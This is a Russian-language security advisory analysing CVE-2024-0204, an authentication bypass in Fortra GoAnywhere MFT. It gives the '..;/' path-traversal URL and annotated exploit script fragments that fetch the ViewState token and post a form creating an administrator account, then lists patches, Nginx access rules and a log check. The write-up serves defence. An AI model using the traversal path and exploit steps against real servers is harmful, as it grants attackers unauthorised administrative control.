
Уязвимость BDU:2024-00665 (CVE-2024-0204) Fortra GoAnywhere MFT
Уязвимость BDU:2024-00665 (CVE-2024-0204) представляет собой критическую ошибку аутентификации в системе безопасной передачи файлов Fortra GoAnywhere MFT. Уязвимость позволяет удалённому злоумышленнику создать учётную запись администратора без каких-либо проверок подлинности, используя путь обхода (path traversal) для доступа к мастеру начальной настройки учетных записей. Уязвимы версии GoAnywhere MFT до 7.4.1.
Анализ уязвимости
Уровень опасности: 9.8 (CRITICAL)
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-
AV:N (Attack Vector: Network) – Атака возможна через сеть.
-
AC:L (Attack Complexity: Low) – Низкая сложность эксплуатации.
-
PR:N (Privileges Required: None) – Требуемые привилегии: не требуются.
-
UI:N (User Interaction: None) – Взаимодействие с пользователем не требуется.
-
S:U (Scope: Unchanged) – Воздействие на другие компоненты: не оказывает.
-
C:H (Confidentiality: High) – Полная компрометация конфиденциальности.
-
I:H (Integrity: High) – Полная компрометация целостности.
-
A:H (Availability: High) – Полная компрометация доступности.
Условия эксплуатации
Для успешной атаки достаточно наличия уязвимой версии GoAnywhere MFT с доступом к веб-интерфейсу через сеть. Доступ к внутренней сети не требуется – злоумышленник может действовать удалённо, если административный порт (по умолчанию 443/TCP) открыт для внешних подключений. Уязвимость активируется через публично доступные эндпоинты, что делает её особенно опасной для систем, развёрнутых в облачных средах или без строгой сегментации сети.
Технический анализ уязвимости
Уязвимость возникает из-за некорректной обработки URL-путей в веб-компоненте GoAnywhere MFT. После установки системы мастер настройки администратора (InitialAccountSetup.xhtml
) должен быть заблокирован, но из-за ошибки в контроле доступа он остаётся доступен через path traversal.
Пример уязвимого URL:
https://target/goanywhere/images/..;/wizard/InitialAccountSetup.xhtml
Символы ..;/
обходят проверки, позволяя злоумышленнику получить доступ к форме создания администратора.
Анализ кода эксплоита
Рассмотрим ключевые фрагменты эксплоита CVE-2024-0204.py
для понимания механики атаки.
1. Проверка доступности пути
Эксплоит отправляет GET-запрос к двум возможным путям обхода:
PRIMARY_EXPLOIT_PATH = "/goanywhere/images/..;/wizard/InitialAccountSetup.xhtml" SECONDARY_EXPLOIT_PATH = "/goanywhere/..;/wizard/InitialAccountSetup.xhtml" response = session.get(url, headers=headers, verify=False, timeout=10)
Если сервер возвращает код 200, путь считается уязвимым.
2. Извлечение токена ViewState
Для отправки формы требуется токен javax.faces.ViewState
, который извлекается из HTML-ответа:
soup = BeautifulSoup(response.text, "html.parser") view_state = soup.find('input', {'name': 'javax.faces.ViewState'})
Этот токен защищает от CSRF-атак, но в данном случае он публично доступен.
3. Создание администратора
Эксплоит отправляет POST-запрос с данными нового пользователя:
data = { "j_id_u:creteAdminGrid:username": self.username, "j_id_u:creteAdminGrid:password_hinput": self.password, # ... "javax.faces.ViewState": view_state['value'] } session.post(url, data=data, verify=False)
Поля password_hinput
и confirmPassword_hinput
содержат пароль в открытом виде, несмотря на маскировку в интерфейсе.
Если сервер возвращает успешный ответ, в системе создаётся администратор:
[+] vulnerable.example.com - Admin account created successfully! Username: admin, Password: P@ssw0rd123
Защита и рекомендации
-
Обновление ПО
Установите версию GoAnywhere MFT 7.4.1 или новее. -
Ручное исправление
Удалите или очистите файлInitialAccountSetup.xhtml
:rm /opt/goanywhere/webapps/goanywhere/wizard/InitialAccountSetup.xhtml
-
Сетевые ограничения
Заблокируйте доступ к административному интерфейсу через Nginx:server { listen 443 ssl; server_name goanywhere-admin.example.com; location / { allow 192.168.1.0/24; # Разрешить только внутреннюю сеть deny all; proxy_pass https://localhost:8443; } }
-
Мониторинг
Регулярно проверяйте журналы на наличие подозрительных запросов:grep "InitialAccountSetup.xhtml" /var/log/goanywhere/access.log
